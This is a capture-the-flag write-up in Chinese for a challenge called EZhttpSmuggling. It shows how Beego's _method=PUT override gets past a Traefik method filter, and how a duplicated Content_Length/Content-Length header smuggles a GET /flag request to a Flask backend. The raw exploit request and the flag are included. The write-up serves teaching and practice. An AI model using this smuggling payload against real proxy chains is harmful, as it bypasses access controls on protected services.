EZhttpSmuggling

2023-03-06   


简介:我们已经泄露了我们的应用的源代码,你能找到flag吗?
题目附件:附件

WriteUP

查看题目附件给出的docker-compose.yml文件
发现这个应用包括 3 个服务——Traefik(HTTP 代理)、一个 Go 微服务和一个 Python 微服务。

Traefik的配置文件如下所示。该服务作为 Go 微服务的反向代理,仅接受 POST、GET、OPTIONS、DELETE 和 PATCH 方法。

[http]
  [http.routers]
    [http.routers.Router0]
      entryPoints = ["web"]
      service = "app"
      rule = "Method(`POST`, `GET`, `OPTIONS`, `DELETE`, `PATCH`)"

  [http.services]
    [http.services.app]
      [[http.services.app.weighted.services]]
        name = "appv1"

    [http.services.appv1]
      [http.services.appv1.loadBalancer]
        [[http.services.appv1.loadBalancer.servers]]
          url = "http://go-microservice:8080/"

Go微服务的配置文件如下所示。可以看到使用了 Beego Web 框架。当使用 PUT 方法时,此服务充当 Python 微服务的反向代理。

package main

import (
	"fmt"
	"github.com/beego/beego/v2/server/web"
	"net/http/httputil"
	"net/url"
)

type MainController struct {
	web.Controller
}

func (this *MainController) Get() {
	fmt.Println(this.Ctx.Request.ContentLength)
	this.Ctx.WriteString("OK")
}

func (this *MainController) Put() {
	targetURL := "http://python-microservice:80/"
	url, err := url.Parse(targetURL)
	if err != nil {
		panic(fmt.Sprintf("failed to parse the URL: %v", err))
	}
	proxy := httputil.NewSingleHostReverseProxy(url)
	proxy.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request)
}

func main() {
	web.Router("/", &MainController{})
	web.Run()
}

Python微服务的配置文件如下所示。访问 Python 微服务的 /flag 路径就能获得 flag。

import os
from flask import Flask, request
from werkzeug.serving import WSGIRequestHandler

app = Flask(__name__)


@app.route('/flag')
def getflag():
    with open("./flag.txt", "r") as f:
        flag = f.read()
    return flag


@app.route('/', methods=['POST'])
def echo_request():
    return request.get_data()


if __name__ == '__main__':
    WSGIRequestHandler.protocol_version = "HTTP/1.1"
    app.run(host='0.0.0.0', port=80, threaded=True, debug=False)

HTTP 方法欺骗
要访问 Python 微服务,我们需要在 Go 微服务上使用 PUT 方法。然而,Traefik 代理只允许 POST、GET、OPTIONS、DELETE 和 PATCH 方法。

查看Beego 源代码,发现Beego本身在请求行中并不直接支持PUT请求方式,但还是有办法发出伪PUT请求。

if routerInfo != nil {
	if routerInfo.routerType == routerTypeRESTFul {
		if _, ok := routerInfo.methods[r.Method]; ok {
			isRunnable = true
			routerInfo.runFunction(ctx)
		} else {
			exception("405", ctx)
			goto Admin
		}
	} else if routerInfo.routerType == routerTypeHandler {
		isRunnable = true
		routerInfo.handler.ServeHTTP(ctx.ResponseWriter, ctx.Request)
	} else {
		runRouter = routerInfo.controllerType
		methodParams = routerInfo.methodParams
		method := r.Method
		if r.Method == http.MethodPost && ctx.Input.Query("_method") == http.MethodPut {
			method = http.MethodPut
		}
		if r.Method == http.MethodPost && ctx.Input.Query("_method") == http.MethodDelete {
			method = http.MethodDelete
		}
		if m, ok := routerInfo.methods[method]; ok {
			runMethod = m
		} else if m, ok = routerInfo.methods["*"]; ok {
			runMethod = m
		} else {
			runMethod = method
		}
	}
}

当使用 POST 方法时,会对 _method 查询参数进行检查。例如,如果我们使用 ?_method=PUT,请求将被路由为 PUT 请求。

POST /?_method=PUT HTTP/1.1
Host: localhost

HTTP请求走私
现在我们已经到达 Beego 中的 PUT 处理程序,我们可以访问 Python 微服务。例如,下划线 (_) 被转换为连字符 (-) 并照此解释。这意味着 Content_Length 标头的处理方式与 Content-Length 相同。

内置服务器还允许重复的 Content-Length 标头,导致上游服务器(Traefik 和 Beego)和 Flask 内置服务器在解释 HTTP 请求的长度时存在差异。

构造EXP

POST /?_method=PUT HTTP/1.1
Host: container_ip
Content-Length: 36
Content_Length: 0

GET /flag HTTP/1.1
Host: container_ip

flag{th1s_1s_a_s1mple_httpsmu99l1ng}